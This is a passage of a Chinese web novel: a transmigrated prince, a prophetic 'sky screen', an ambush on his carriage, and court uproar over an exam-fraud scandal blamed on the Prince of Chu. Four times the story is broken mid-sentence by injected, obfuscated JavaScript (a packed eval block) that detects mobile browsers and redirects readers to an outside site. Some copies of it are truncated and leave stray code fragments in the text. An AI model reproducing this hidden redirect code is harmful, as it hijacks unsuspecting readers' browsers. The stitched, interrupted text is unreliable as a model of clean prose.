从此大晟皇帝身边就多了个雪团子。最开始他还担心小孩子会在他议事批奏折时吵闹,谁知黎昭乖巧的令人心痛。 他与群臣议事时黎昭就在小隔间里,他批阅奏折时黎昭就在大殿里自娱自乐,饿了、渴了、拉了就哼哼几声,从没有出现过吵闹不休的情况,以至于他时常会把黎昭忘记了。 只在他疲惫间隙,才摇摇晃晃地过来,用软糯的声音驱散他的疲惫。他亲眼看着这孩子从咿呀学语长成少年,那份亲手养成的欣慰与父子亲情,早已深植心底。 即便这孩子后来纨绔之名远扬,他也清楚,黎昭的底色是良善的。虽然纨绔,但不沾染酒色,不欺压弱小,时常因热心肠而被告状,会自掏腰包接济因打仗伤残的兵丁,只是有点不学无术而已。而此刻,那份与幼时如出一辙的赤诚,正无声地叩击着他的心门。 他也看到了黎昭眼中的一丝委屈,但他不仅是皇帝,也是父亲,他不能因为一个儿子,就对其他儿子不闻不问。 “记住你今天说的话。”皇帝深深看了黎昭一眼,目光中混杂着审视,与一丝难以察觉的疲惫。 “王德。” “老奴在。” “带人,送瑞王回府。无朕旨意,任何人不得出入。” “老奴遵旨。” 皇帝目光扫过全场,在几个儿子身上停了下来,不怒自威:“朕不希望最近出什么岔子,都散了吧。” “臣等/儿臣不敢,恭送陛下。”至于这个“岔子”是指什么?众人心知肚明。 “殿下,请吧。”王公公带着两队侍卫上前,恭敬搀扶。 黎昭心里有点怅然,没想到会这样就过了。 “有劳公公。”黎昭扬起了惯常的笑脸,仿佛方才的惊心动魄从未发生。黎昭看了一眼老爹的背影,感觉比起记忆中那个高大的身影略显沧桑了。不由冒出点酸涩,“以后还是少给老爹生气了。” 他最后望了一眼父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“都好都好。天象出现后不久,明公子就来了,现在在您书房等着。” “我这就去见他。” 才穿过回廊,便见明臻已迎了出来。远处亭台错落,他一袭青衣立于其中,墨发如瀑,风姿清雅。一阵寒风掠过,轻轻吹起衣摆,行走间尽显儒雅风度。 黎昭却暗自皱眉:这腊月天里,穿这样少,也不怕冻着? 思忖间,明臻已走到近前。 “你可还好?”他声音里带着不易察觉的关切。 “你手怎么这样凉?”黎昭同时开口,一把握住他微冷的手指。 明臻任由他握着,仔细将黎昭从头到脚打量一番。见除了衣袍有些褶皱外并无异样,行动间也不见滞涩,这才稍稍安心。 “还能惦记我冷不冷,”他唇角微扬,语调却幽幽一转,“看来是无恙了。去书房吧,庞迎还在等你。只是不知……阿昭准备何时纳他入门?” 5. 布局 阿昭不知道,阿昭不想说话,阿昭只想原地消失。明臻那似笑非笑的揶揄,比朝堂上父皇的质问更让他头皮发麻。 “明臻,你还不知道我么?”,黎昭下意识地又想去拉明臻的手,对方却已不着痕迹地将手负到了身后,他只好尴尬地摸了摸鼻子,语气带上了几分少见的急切,“那天幕纯粹是胡说八道!且不说我是不是断袖,那庞迎……压根就不是我欣赏的类型。再说,人家心里或许是有喜欢的姑娘的。” 庞迎相貌本算周正,可一道狰狞的疤痕从眉心直劈下颌,平添了十分的凶煞之气,常人见了只怕要先惧上三分。 “哦?”明臻只是淡淡应了一声,方才被黎昭攥过的手背仿佛还残留着温度,让他心神微乱,“我竟不知,瑞王爷何时有了这般具体的’审美要求’?怎从未听你提起?再说了你怎知庞迎有喜欢的姑娘?他跟咱们瑞王爷谈心了?” “现在告诉你也不晚嘛!”黎昭把心一横,也顾不得什么兄弟间谈这个是否肉麻了,他抬头望向庭院中那株青松,像是要为自己的话找个佐证,“我喜欢那种……嗯,就是如清风明月般的,让人一见便觉温润,安静,舒服的。” “至于庞迎有心上人这事儿是我自己猜测的。我撞到好多次庞迎对着一个香囊月下独酌,那香囊是女式的,庞迎看着香囊有怀念,歉疚,还有一些数不清道不明的感觉。唉~。”黎昭叹气,不自觉蹙起了眉。 明臻静默了片刻。清风明月,温润安静……这几个字在他心间轻轻滚过,泛起一丝难以言喻的涟漪。他抬起手,最终却未触及黎昭微蹙的眉间,只是轻轻落在他肩头拍了拍。 “都会好起来的。” 黎昭一行人移步书房,庞迎早已在此静候多时。 “殿下,明公子。”见他们进来,庞迎立刻行礼。 “嗯,坐,不必多礼。”黎昭脚步未停,虚扶一下便径直走到桌边坐下。明臻极其自然地跟在他身侧,顺手替他解下披风,又娴熟地斟了三杯热茶,将其中一杯推到黎昭面前。 “不急,先暖暖身子。”明臻的声音温和依旧。 一旁的富贵默默收回了刚要伸出的手。黎昭瞥见这细微的动作,心下掠过一丝异样——这类琐事平日多是富贵打理,今日明臻似乎格外……主动?但他此刻心绪纷杂,也无暇深究。 他抿了口茶,对富贵吩咐道:“宫里来了人,吩咐下去,各司其职,不要靠近冲撞。天幕之事,府中严禁私下议论,以免授人以柄。” “是,殿下,小人明白。” “去吧,府里交给你,我放心。”经过几年经营,他对自家府邸的掌控力还是有信心的。 在整个过程中,庞迎一如既往地沉默着,身姿笔挺,面色却比平日更显凝重。 “庞迎”,黎昭放下茶杯,切入正题,“针对天幕所言,你怎么看?” 话音未落,庞迎骤然起身,动作间竟带了几分罕见的慌乱,他深深一揖:“殿下!小人感念您的救命之恩与知遇之情,愿为您赴汤蹈火,万死不辞!但……但小人对殿下绝无半分逾越非分之想,还请殿下明鉴!” 黎昭沉默,黎昭无语。看吧,他就知道!天幕还没开始“扣糖”呢,仅仅透出点风声,就有人对号入座了。毁灭吧,这个离谱的世界! 他下意识向明臻投去求助的目光,却见对方优雅地端起茶杯,视线飘向窗外,意思明确:自己惹的麻烦,自己解决。 “咳……庞迎,你先起来。”黎昭只得硬着头皮,故意用轻松调侃的语气说道,“我知道你的忠心。放心,我对你也没那种想法,你……咳咳,并非我欣赏的类型。” 他赶紧转移话题:“此事暂且不提,说说你此行的结果吧。” 庞迎这才稍稍镇定,重新落座,语气恢复了平日的沉稳:“回殿下,幸不辱命。依据这些年我们搜集的线索一一排查,除已故与明哲保身者外,现有三十余人愿意出面作证。” “三十余人,足够了。真相必会大白于天下,枉死之人必然沉冤得雪。”黎昭目光一凝,“让他们做好准备,时机或许快到了,未必需要等到会试。庞迎,你报仇雪恨的日子,近了。” 庞迎情绪陡然激动:“殿下为何作此判断?此事关乎重大,这些人一旦在京城露面便再无退路!会试之时天下目光汇聚,方是万全之策啊!” “庞迎,你着相了。”不等黎昭回答,明臻已淡然开口,语气中似乎含着一丝不易察觉的不满,“天幕已然给出了答案。它预告将讲述你的生平,而未来的你身居高位,大仇得报。这足以证明,我们即将采取的行动,必在其中起到了关键作用。” “知我者,明臻也!”黎昭闻言一笑,拿起自己的茶杯与明臻的轻轻一碰,发出清脆的声响。 庞迎顿时面露惭色:“殿下恕罪,是小人一时心急,思虑不周。” “无妨,我理解你的心情。”黎昭摆摆手,语气坚定,“下去好生准备吧。天幕中的我们能够成功,这一次,我们也必定可以。” 然而,庞迎站在原地,并未如往常一样立刻领命退下。他的脸上充满了困惑与一种基于未知的沉重,迟疑地开口:“殿下……天幕中说,小人未来会成为……‘锦衣卫指挥使’。” 他艰难地重复着这个完全陌生的词,“‘锦衣卫’……这是何职司?为何会说它是‘令人闻风丧胆的看门狗’?” 黎昭目光微动,他自然知晓锦衣卫是何等存在,庞迎确是他心中执掌此类情报监察机构的最好人选。但此刻时机未至,天机莫测,他亦无法多言。 他压下心绪,语气沉稳而坚定:“一个尚未设立的衙门罢了。名号如何,远不及行事重要。路在我们自己脚下,由人走出的,而非由名号决定。” 庞迎怔怔地望着黎昭,殿下的话语如同利剑,劈开了他心头的迷雾与屈辱。他深吸一口气,再次深深行礼,语气已变得无比坚定:“小人明白了!谢殿下点拨! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628034|187971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无论未来职司为何,小人此生,只愿为殿下手中利刃,扫清前路障碍!” 他在心中立誓:纵使被世人呼为“看门狗”又如何?殿下将来会是一代明君,他庞迎,此生都将是殿下最忠诚的利刃与坚盾。 —————————————————————————————— 此刻,皇宫,勤政殿。 皇帝坐在堆积如山的案牍之后,朱笔划过奏折的声响清晰可闻。殿角鎏金仙鹤香炉吐出的龙涎香青烟袅袅,却驱不散那股弥漫在空气中的凝重。 王德公公悄无声息地近前,躬身低唤:“陛下。” 皇帝并未抬头,笔尖也未停,只从喉间逸出一声低沉的:“嗯。送回去了?” “回陛下,已将瑞王殿下安然送回府中。”王德双手小心翼翼地将那枚金核桃呈上,“殿下......临行前,将此物给了老奴,说是让老奴多看顾陛下圣体,千万莫要过于劳累了。” 皇帝这才搁下朱笔,瞥了一眼那枚折射出温润光泽的金核桃,语气听不出喜怒:“既然是他给的,你便收着吧。能从这貔貅手里掏出点金子,倒也是你的本事。”他话锋微转,平平问道:“你倒是惯会替他说好话。” 这话虽轻,却让王德后颈瞬间沁出一层冷汗,他“噗通”一声跪倒在地:“陛下明鉴!老奴所言,句句是殿下原话,不敢有半分增减欺瞒啊!” “行了,起来吧。”皇帝似是倦了,向后靠在龙椅的软垫上,揉了揉眉心,“一把年纪了,遇事还不如个孩子沉得住气。去,泡壶浓些的龙井来。” “是,是,谢陛下恩典。”王德如蒙大赦,连忙爬起来,躬身退去备茶。 待殿内重归寂静,皇帝的手指无意识地在紫檀木案牍上敲击了两下,发出沉闷的“叩叩”声。 随即一道黑色的身影如鬼魅般自梁柱阴影处闪现,悄无声息地单膝跪在御案之前,全身气息收敛,若非亲眼所见,几乎感知不到他的存在。 “说。”皇帝阖着眼,淡淡开口。 黑影的声音低沉而毫无波澜:“禀陛下,太子殿下回东宫后,即刻召见了东宫属臣,密谈约半个时辰。二殿下齐王闭门谢客,但王府长史与两名京营将领于偏门入府,至今未出。三殿下楚王召集了数名幕僚作陪。四殿下燕王......殿下回府后,砸了一套心爱的钧窑茶具。六殿下赵王直接去了府中佛堂,至今仍在诵经。其余诸位皇子殿下府邸,暂无异常动静。” 皇帝静静听着,脸上看不出任何情绪,只是敲击桌面的手指停了下来。半晌,他摆了摆手。 黑影会意,如一阵轻烟般悄然隐没,仿佛从未出现过。 殿内再次只剩下皇帝一人。他缓缓睁开眼,目光扫过御案一角那枚王德未能带走的金核桃,眼中深邃似海,映照着跳跃的烛火,也映照着波谲云诡的朝堂与人心。茶叶的清香尚未飘来,而风暴的气息,已悄然浸润了这座皇城的每一个角落。 6. 谈心 “殿下,外头天冷,您都出来走了小半个时辰了,咱们回去吧。”富贵拢了拢衣领,轻声劝道。 “富贵啊,你可知有一句至理名言,”黎昭身披一袭火红的狐裘,在清冷的月色下慢悠悠踱步,“叫‘饭后走一走,活到九十九’。” 他抬头望向天际那轮圆月,心中不禁泛起一丝怅惘。虽在故乡无父无母,却也有三两好友,不知他们听闻自己的“死讯”,会是怎样的心情。 “殿下,若真有这等奇效,您从前用完膳可是直接躺上摇椅的……这道理,莫不是您方才现编的吧?”富贵犹豫片刻,还是小声嘀咕出来。 “嘿,你现在都敢质疑你家殿下我了?”黎昭故意板起脸,眼底却藏不住笑意。 “奴才不敢,只是担心您着凉。” “罢了,去听松阁。月色这么好,不去围炉煮酒,太可惜了?”黎昭将手往袖中一揣,迈步就要往前走。忽地,他脚步骤停,转身看向富贵:“对了,明臻那边安顿好了吗?” “殿下放心,都按您的吩咐安排妥了。西殿一切照旧,熏香是明公子惯用的松木清韵,衣物也是上月新裁的,包您满意。” “什么叫‘包我满意’?”黎昭耳根微热,轻咳一声,“是让明臻在王府如在家中一般自在。”虽说,他确实存了点想把明臻打扮得清雅好看的心思。 ——--- 此时,百禄殿西殿内烛火温然,只听得书页偶尔翻动的轻响。明臻坐在软榻边上,书卷在手,目光却不时飘向主殿的方向。 一旁的风源见他心不在焉,阅读速度不及平日一半,忍不住开口:“公子是在担心殿下?要不我去主殿那边问问动静?” 明臻眼睫微动,语气淡然:“去吧,自然些,别显得刻意。” “是。” 不多时,风源回来禀报:“公子,主殿的人说殿下去了听松阁,像是要围炉煮酒。” 明臻执书的手指微微一顿,随即轻轻将书卷搁下,起身便朝外走,眉宇间掠过一丝不易察觉的愠意。 “公子您等等我!披风,披风还没披上呢!”风源急忙抓起一件外袍追上去。 明臻脚步一滞,并未回头,只低声道:“拿那件银灰色的。” “噢,好!” 听松阁,黎昭一手拿着温和的果酒,耳边是炉火的噼啪声,正对着月亮躺在摇摇椅上,心道:望月伤怀,古人诚不欺我。就是现在他也成古人了。 正出神间,目光所及处,一抹熟悉的身影穿过月色,踏着夜露缓缓而来。待那人走近,黎昭眼底不自觉漾开笑意。只见明臻发梢尚带湿意,身着一袭天水碧长袍,外罩银灰披风,领缘一点月白悄然点缀,整个人宛如萧瑟冬日里悄然绽放的新绿,清润而温和。 他心下暗赞:自己的眼光,果然极好。 “围炉煮酒,对月怡情。瑞王爷有此雅兴,怎可独享?”明臻在他身前站定,目光悄然扫过黎昭的面容,见他神色如常,又嗅到空气中清甜的果香,紧绷的唇角这才微微松弛,随即在一旁的椅中坐下。 黎昭不答,只执壶为他斟了一杯暖酒,“尝尝,新得的果子酿,不醉人。”他心下温暖又无奈,身边这些人,尤其是明臻,任凭他如何强调自己早已康健,那份过度的关切依旧如影随形——当真是痛,并快乐着。 明臻依言浅酌,酒液甘醇,确实温和。他放下杯盏,轻声问:“怎的想起饮这甜酒了?是因为......陛下?” 黎昭沉默片刻,目光仍凝望着那轮明月,良久才缓缓开口:“我是真将他当作父亲的。”他语气平静,却透着一丝难以掩饰的落寞,“可天幕一出,有些东西,终究是不同了。门口的禁卫,名为看守,实为护卫,这我明白。我也懂他的为难——帝王心术,重在制衡,而天幕......却将这盘棋,彻底掀翻了。” 明臻摩挲着杯缘,缓慢道,“阿昭,子子父父,君君臣臣,自古伦理如此。陛下是君王,亦是父亲,此间纠结,非你一人之过,不必太过介怀。你只要做你认为对的事情,随心即好。” “即使这个随心会伤害一些人的利益吗。”他可能预感到他未来会做的事可能引起的腥风血雨。他以超出这个时代的眼光去看这个时代,就像是弊病满身的病人。 明臻的声音温和而坚定,“若你的‘心’是洞察时弊的慧心,是悲悯天下的仁心,那么即便一时损及少数人之利,也是为了涤荡沉疴,换取万民之福。” 他望向黎昭,目光清亮如月下寒泉:“我信的不是‘千古一帝’的虚名,我信的是你黎昭的初心。你所见的‘弊病’,正是需要刮骨疗毒的症结。既已看到,若不设法革除,才是真正的失职。” 明臻垂下眼睫,目光落在黎昭的手上,无论前路如何,我必与你同行。功过是非,青史之上,我们共担。 听松阁内,酒意微醺。黎昭看着身旁的明臻,只觉得他方才那番通透豁达的见解,远远超出了这个时代的局限,不由叹道:“明臻,有时候我觉得你不属于这个时代,你属于遥远的未来。”黎昭真心觉得他这位好兄弟的思想太超前了,简直就像是他的外挂! “嗯?”明臻眼带困惑,眼角微红,显然没跟上他这跳跃的思绪。 见他难得露出这般迷糊的神情,黎昭不由失笑:“哈哈,无事,喝酒,喝酒!” 话音未落,只听“咚”的一声轻响,明臻的额头便抵在了桌面上——竟是醉倒了。黎昭先是一愣,随即莞尔。他知道明臻是一杯倒,却没料到连这温和的果酒也抵挡不住,明日定要好好取笑他一番。可转念一想,方才那个思路清晰、言语灼见的明臻又是怎么回事?这着实有些神奇了。 “风源,送你家公子回去吧。富贵,你也搭把手。”本来还想和明臻体验一下围炉煮酒,慢聊彻夜的雅趣呢,看来只能等下次了。不对,下次不能煮酒,只能煮茶了! 果酒的微醺散尽,接下来瑞王府的日子便在一种看似平静的等待中缓缓流淌…… --------------------------------------------- 半月时光倏忽而过。 这日清晨,又是一次例行早朝。“轰隆——!” 一声熟悉的巨响,毫无预兆地再次撕裂了京城的宁静! 距离上次天幕已经过月半,钦天监将此异象命名为“天幕”。在这期间朝廷出动人力物力安抚民心,严苛管理想利用天幕发展邪教者。妖言惑众者是少数,毕竟天幕中诉说的未来离百姓太过遥远了,最重要的还是当下。 同时,业已经查明:天幕覆盖范围遍及整个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王府外车驾已备好。时隔半月迈出府门,黎昭抬手遮在额前,透过指缝望向阔别已久的天空,轻叹:“还是外头的天阔。王府虽好,方寸之地待上半月,也快盘出包浆了。” 两人先后登上马车,相对而坐。车内竟备着他素日喜爱的茶点,黎昭拈起一块,心底泛起一丝暖意。 马车行至御道,骤然一声箭矢破空! 明臻反应极快,一把将他拽离座位,几乎同时,车外传来“保护殿下!”的呼喝与兵刃相交之声! 明臻反手自车壁暗格中抽出长剑,转头看向黎昭,语气是前所未有的锐利:“殿下在此稍候,切勿外出。” 黎昭被他方才那一拉一带弄得有些懵,此刻才完全反应过来。老天爷,我这也算是出息了,居然够得上被人刺杀的档次了! 他心知肚明,外面那群人的目标是自己。奈何他是个标准的“战五渣”,幼时体弱无法习武,年长了又没了根基,只会些花架子,此刻就是活靶子,露头就秒。明臻则不同,他是标准的世家子弟,君子六艺样样精通,武功更是其中翘楚,堪称别人家的孩子。 他小心掀开车帘一角,只见对方约有五十余人,黑衣覆面,架势十足,但招式似乎并非顶尖好手。己方禁军虽只有二十人,加上一个明臻,战力也能持平。 只见明臻手腕翻转,剑光如匹练,明明是凶险搏杀,在他手下却似月下舞剑,自有一份游刃有余的从容。黎昭见状,心下稍安。虽时有一两人突破防线杀到马车前,但也很快被明臻与禁卫格挡。 就在此时,另一伙衣着各异的人马骤然加入战局,目标明确,直指黑衣人。不过片刻,这场突如其来的袭击便以黑衣人尽数被缚而告终。 7. 天幕再临 看着危险已经解除,黎昭这才从容步下马车。 禁军队长立即单膝跪地,声音带着后怕的微颤:“末将护卫不力,令殿下受惊,罪该万死!” “起来吧,此事怪不得你。”黎昭语气平和,目光却已转向那群被缚的黑衣人。他饶有兴致地凑近观察,听着他们口中不绝的“冤枉”、“朝廷走狗”等咒骂,心下顿觉有趣。 他上辈子看的影视剧中杀皇子的刺客最后都是宁死不屈,败了要么牙口□□,要么横刀自刎。这伙人看着不像刺客,倒是像盗匪。会是谁安排这么一群人来行刺杀之事呢?目的是什么呢? 思绪暂且按下,余光看到,前来相助的那批人想上前来却被身侧的明臻拦下。他手里提着剑,眼里带着一丝防备,语气温和开口,“多谢各位义士相助,还未请教尊姓大名。” 那领头的是个高壮汉子,迟疑片刻方道:“义士不敢当,小人胡威。阁下可是明公子?” 明臻有些诧异,“哦?你认识我?” 胡威正面没有回答,从怀中取出一封信函,“我等是老爷派来保护公子的,这是凭证。” 明臻接过信笺,侧身向黎昭方向微倾。黎昭瞥见信封上特殊的暗记,心下了然——这是他外祖父的人。从金陵到京城,快马加鞭正好是这两日抵达,想必是因王府戒严才未能及时联络。 “这些人,本王要带走。”黎昭忽然开口,语气倨傲任性,俨然一个被宠坏的皇子。 禁军队长面露难色:“殿下,这......按律这些刺客应移交刑部审理,您莫要为难末将......” 黎昭漫不经心地整理着衣袖,声音却冷了几分:“他们行刺的是本王,本王要亲自处置,出口恶气。 若是送进刑部,万一‘莫名其妙’死了,本王找谁说理去?再说了,今日你护卫不力已是失职,本王将人带走,岂不是替你省了麻烦?” “可是……”禁军队长冷汗涔涔,头垂得更低。 见他动摇,黎昭语气稍缓:“放心,出了任何事,本王一力承担。” “……是。末将今日,什么也没看见。”禁军队长终于松口。 “上道。”黎昭展颜一笑,解下腰间沉甸甸的荷包抛过去,“请弟兄们喝酒压惊。” 随即转向胡威:“胡壮士,劳烦将这些人押送瑞王府。办好了,本王重重有赏。” 马车再次碾过青石板,轱辘声在空旷的街道上回响。无人注意的角落,阴影四散,确殊途同归。 车厢内,明臻率先打破沉默:“阿昭对今日这场刺杀如何看?那些人行事粗莽,倒更像是落草的匪寇。” “英雄所见略同。”黎昭点头,“幕后主使,无非是我那几位兄长。太子皇兄向来不屑此等伎俩;老二,老三要么不动,动则雷霆万钧,绝不会如此温吞;老七嘛,平日嘴上不饶人,却无这般狠辣心肠,可以暂且排除。” 他略一沉吟,指尖轻叩窗棂:“至于老四,行事向来难以揣度;老五素来沉默;老六胆子小,一点风吹草动就能把他吓进佛堂……真相如何,还得等审过那批刺客方能知晓。” 话锋一转,他脸上换上灿烂笑容,方才的沉默一扫而空:“先不说这个!明臻,好久没看你出手了,你刚才那几招真是绝了!刷刷几下,就把他们制服,身形那个利落,剑光那个闪耀,简直帅呆了!”他一边说,一边兴奋地比划起来,模仿着明臻出剑的姿势,动作夸张,惹得明臻忍不住发笑。 虽早已习惯黎昭这天马行空的性子,但听着他那有些过分直白夸赞,明臻仍觉耳根微热,轻咳一声:“坐好。没那么夸张,只是些盗匪。不过招式是新学的,日后……得空教你。” ——----------------------------------------------- 皇宫,汉白玉广场,群臣列坐,每人身前竟都设了桌案,上面还残留着糕饼果品的痕迹。 黎昭还未走近就乐笑了,这看着像一场皇家宫宴,再加上即将上演的天幕,简直像极了他前世电影院开场前的景象。如果这场“电影”上演的不是他本人的故事,他或许真能抱着欣赏的心态观摩。 转念一想,他这皇帝老爹倒也体贴。臣子们卯时上朝,顾及仪态大多不敢吃太饱,就盼着下朝后再行填补。这天幕次次卡在下朝时分降临,中间偏又留出近半个时辰的空档,倒像是专程给众人留出的“用餐时间”。思及此,黎昭不禁莞尔。 收敛心神,他顶着无数道意味不明的目光行至御前,躬身行礼:“儿臣参见父皇。” 皇帝想着方才暗卫密报的遇刺之事,将黎昭上下打量一番,见他毫发无伤,语气不由得放缓了几分:“嗯。今日......可有什么要同朕说的?” 黎昭疑惑,他最近都禁在王府了,安分守己,父皇这语气,怎么听着像是他闯了祸,等着他坦白从宽?他小心翼翼地观察着御座上的神色,试探着开口:“父皇...龙体安康?可是想念儿臣了。” 皇帝看着他那一脸纯然的无辜,眼角猛地一跳,那股熟悉的、恨铁不成钢的感觉又涌了上来。 这半月,他特意调了黎昭以往的功课来看,无论怎么看都看不出花来。暗卫每日也有报黎昭干了什么,不是钻研吃喝,便是拉着明家那小子下棋、品茶、看话本,简直是虚度光阴,还带坏了别人家的好儿郎! 他自诩阅人无数,眼光毒辣,可越是如此,便越想不通——就这么个看似不着调的儿子,日后究竟是如何上位的,又如何成了那功盖千秋的“圣祖”?被哪位老祖宗上身了不成。 皇帝心累,无力地挥了挥手,指了指黎昭的位置,“嗯,去吧。” 黎昭瞄着自家老爹那复杂的脸色,有充分理由怀疑,他真正想说的是:“滚。” 下首的太子将这一幕尽收眼底,一时没忍住,低咳起来:“咳……咳……”。 一杯温茶适时地递到他眼前。只见二皇子齐王不知何时已来到身旁,面带关切,语意却深长:“太子皇兄,臣弟可真为您着急。府上恰巧养着一位名医,要不给您送来瞧瞧?” 太子淡淡瞥了他一眼,接过茶盏放在案上,并未饮用:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628036|187971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有劳二皇弟挂心,孤无碍。” “皇兄这是怕臣弟下毒?”齐王摊手一笑,姿态轻松地退回自己的座位,“臣弟还没那么蠢。毕竟,我可不想平白为他人作了嫁衣。” 【大家好呀!我是‘风闻天下事’,欢迎来到《戏说史事》!】 天幕恰在此时亮起,那熟悉的欢快嗓音传遍广场。所有人瞬间正襟危坐,宫人们鱼贯而入,迅速撤去案上残席,换上了笔墨纸砚。一场新的风波,随着光幕的流转,正式拉开序幕。 【上期我们说到了庞迎这个人,可以说圣祖在政治舞台上的第一次亮相就与此人有关。在此声明,有关庞迎的个人事迹均来自其个人自传以及晟朝国史,并非本人杜撰。 这一切都要从元和二十二年的科考说起。】 科考——,众人心中都升起了警惕,自古以来,与科考牵连最深的便是舞弊大案,每一次都伴随着仕途尽毁、人头落地。一时间,所有人的目光都变得游移起来,不动声色地评估着身边同僚,心中飞速盘算着元和二十二年榜上有名者。 一届进士中,能留京的约有二三十人,如今是元和二十五年,当年金榜题名的进士中,佼佼者不过三五人有资格立于这常朝之上。一时间,无数道目光或明或暗地扫向那几位同僚,空气中弥漫开无声的审度与猜忌,不少人已下意识地将身形挪远了几分。而这其中心中有鬼的,更是面色惨白,额角沁出细密冷汗,几乎难以维持仪态。 几乎在天幕话音落下的同时,京城各大茶楼酒肆中,一些“恰逢其时”的流言已悄然散播开来。 “听说了吗?三年前那场科举,怕是有大冤情!” “你的消息落后了,我听到的可是不止三年前那一届呢!” 【之前说过庞迎身上背负着家族振兴之责,他出身于落魄士族,他这一代只出了他这一个读书的料子,庞家对他寄予厚望。而庞迎也不负所望,一路过关斩将以乡试第一名的优异成绩闯入会试,即将迎来他人生中最重要的一场考试——即元和二十二年的会试。 大家现在可能不太理解乡试第一名的含金量,在当时称“解元”,相当于一省状元。可以直接解锁免税特权、收田产、当官资格,堪称逆袭剧本天花板!文曲星体验卡直接续费终身,真正的知识改变命运! 但当他满怀信心带着全族的期望参加这场考试,最终的结果却给他当头一棒——皇榜上没有他的名字,他的会试落选了! 他百思不得其解,自己怎么会落选呢。于是他到处打听当时的主考官,可是一个布衣之身如何得见高官大户。就在庞迎要放弃回家乡时,《会试录》出版了。 《会试录》顾名思义就是收录会试考试的信息,其中包括了优秀考生的试卷,通常只会选取前几名或几十名优秀答卷刊印。相当于官方的“优秀论文集锦”。 这意味着,你的文章如果足够好,就会被印成书,在全国的士子间传播、学习。这是一种荣誉,也是学术风向标。庞迎抱着我哪里不如他们的心态打开了会试录,谁知他在上面看到了自己的答卷,署名却并非自己!】 8. 冤屈 【想象一下,这就好比我们现在,寒窗苦读十八载,本来以你的平时成绩通过高考可以上一个top1大学,结果成绩出来时却发现连大学都上不了。与此同时有人拿着你的成绩去了梦寐以求的学校,难过吗?气愤吗? 庞迎大概就是如此心情。当然在我们如今的华国根本不会发生这种事情,指纹识别,面部识别,入学笔迹鉴定就把人卡的死死的。 科技的发展给予了我们相对公平的环境,但在大晟那个朝代科考的全部过程都需要大量的人力来支撑,俗话说有人的地方就有江湖,中间可操作的地方太多了。更糟糕的是,庞迎被追杀了! 在知道真相后,庞迎奋而上诉,被幕后黑手即三皇子楚王知道了,三皇子表示小小庞迎还无法解决吗,就和以往一样,先礼后兵!庞迎不是容易因利益屈服的人,于是就开启了他的逃亡之路。 庞迎知道幕后之人猖獗,但他没想到能猖獗到戮宗灭族。等到他顶着一路腥风血雨回到家时,他看到的只是一片仍有余烬的废墟,以及一封写着“未婚妻”三个字的信。 至于幕后之人为什么不杀了他,以至于死灰复燃,主播想可能是太自信了吧,想体验把人玩弄于股掌之间的变态感觉。】 天幕中的这番话炸响了整个朝堂,也让市井间的留言得到了证实。 听着天幕中的话,黎昭眼神一冷,是啊,若庞迎是个容易屈服的就不会遇到他了。 宫外的庞迎闭了闭眼,攥紧胸前的香囊,“快了,快了,再等等,恶人马上就要下地狱了!” 朝堂之上,楚王脸色瞬间惨白,随即因极度愤怒和恐惧而涨红。他猛地下跪指着天幕厉声喝道:“妖言惑众!此乃构陷!父皇,此必是敌国奸细与朝中宵小勾结,伪造天幕,意在乱我大晟,毁我皇室清誉,离间我天家父子!儿臣愿与之对质,请父皇彻查天幕来源!” “还有那庞迎,儿臣根本不认识这个人,请父皇明察。或许是儿臣哪个门客与他有仇,他才恨上儿臣,儿臣真的不知情啊!”说着说着竟然痛哭流涕, 其他皇子也震惊地看着楚王,似是没想到他能作出这种事。 帝王并未立即表态。 朝中清流大多也是以布衣之身挤越朝堂,天幕所言令他们感同身受,也令他们胆寒。 “陛下,老臣......心如刀绞啊!”翰林学士以头呛地。“寒窗苦读,乃学子晋身的台阶;朝廷广开恩科,是为国家取士。今有楚王扰乱科举,有违公正在先。后屠戮宗族,更是诛心之举,欲断天下读书人之望!” “若不严查,则礼崩乐坏,士心离散,国将不国!皇子犯法,与庶民同罪!老臣只此一身,将腐朽入土,恳请陛下,为江山社稷计,忍痛割爱,以正……以正视听啊!” 黎昭没想到,率先进言的居然是一向在朝中对他不假辞色的翰林学士,不过也能理解,这老先生属清流派,学生大多出自寒门,德高望重,站在那里代表的就是天下读书人。 吏部尚书立即反驳,“老翰林此言差矣,天幕所言也仅是片面之词,这庞迎如今更是不知人在何处。虽我等默认此为后世之人,但后世之人从何得知今世之事,无非就是史书传记,更有甚者为野史。史书尚有失传,更何况野史,从来没有哪一朝国法以此断案。” 御史大夫率紧随其后,“陛下!史书工笔,自有其法。天幕所言虽不可尽信,但也有借鉴之处。科场舞弊,乃动摇国本之第一大罪!更兼戮灭宗族,人神共愤!如今天下万民皆知,无论真情如何,必须彻查此案,以正朝纲,安天下士子之心!” 